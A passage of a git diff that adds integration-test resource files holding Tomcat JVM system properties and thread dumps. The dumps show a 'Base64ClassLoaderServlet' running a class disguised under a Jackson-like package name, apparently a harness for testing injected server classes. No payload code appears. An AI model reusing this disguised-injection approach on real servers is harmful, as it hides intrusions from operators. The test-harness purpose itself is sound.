java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@635e300b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e9aca5b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-Acceptor" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-7" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.fasterxml.jackson.daMhd.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:212) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-Poller" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:468) + at org.apache.catalina.startup.Catalina.await(Catalina.java:730) + at org.apache.catalina.startup.Catalina.start(Catalina.java:678) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476) + +"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-8" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1b41d1aa + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.fasterxml.jackson.daMhd.ErrorHandler +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$AsyncTimeout +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/Tomcat9ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat9ContainerTestBasicInfo.txt new file mode 100644 index 00000000..1718d4a2 --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat9ContainerTestBasicInfo.txt @@ -0,0 +1,567 @@ +# Generated At 2025-08-10 15:00:52 +SystemProps: +awt.toolkit: sun.awt.X11.XToolkit +file.encoding.pkg: sun.io +java.specification.version: 9 +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.vendor: Oracle Corporation +sun.arch.data.model: 64 +java.vendor.url: http://java.oracle.com/ +catalina.useNaming: true +user.timezone: Etc/UTC +os.name: Linux +java.vm.specification.version: 9 +sun.java.launcher: SUN_STANDARD +sun.boot.library.path: /usr/lib/jvm/java-9-openjdk-arm64/lib +sun.java.command: org.apache.catalina.startup.Bootstrap start +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: org.apache.naming +java.home: /usr/lib/jvm/java-9-openjdk-arm64 +ignore.endorsed.dirs: +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +jdk.tls.ephemeralDHKeySize: 2048 +server.loader: +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +java.protocol.handler.pkgs: org.apache.catalina.webresources +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 9.0.4+12-Debian-4 +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.name: root +path.separator: : +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.vendor.url.bug: http://bugreport.java.com/bugreport/ +java.io.tmpdir: /usr/local/tomcat/temp +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +catalina.home: /usr/local/tomcat +java.version: 9.0.4 +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,tomcat-juli.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,tomcat-api.jar,tomcat-util.jar,tomcat-util-scan.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-jni.jar,tomcat-websocket.jar,tomcat-i18n-en.jar,tomcat-i18n-es.jar,tomcat-i18n-fr.jar,tomcat-i18n-ja.jar,tomcat-juli-adapters.jar,catalina-jmx-remote.jar,catalina-ws.jar,tomcat-jdbc.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar +user.dir: /usr/local/tomcat +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +catalina.base: /usr/local/tomcat +shared.loader: +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib:/usr/lib/aarch64-linux-gnu/jni:/lib/aarch64-linux-gnu:/usr/lib/aarch64-linux-gnu:/usr/lib/jni:/lib:/usr/lib +java.vm.info: mixed mode +java.vendor: Oracle Corporation +java.vm.version: 9.0.4+12-Debian-4 +sun.io.unicode.encoding: UnicodeLittle +tomcat.util.buf.StringCache.byte.enabled: true +java.class.version: 53.0 + +=========================================== + +ThreadStacks: +"ajp-nio-8009-exec-5" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-7" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-4" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-8" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"NioBlockingSelector.BlockPoller-2" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:265) + at java.base@9.0.4/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:92) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:298) + +"http-nio-8080-exec-2" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-5" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at 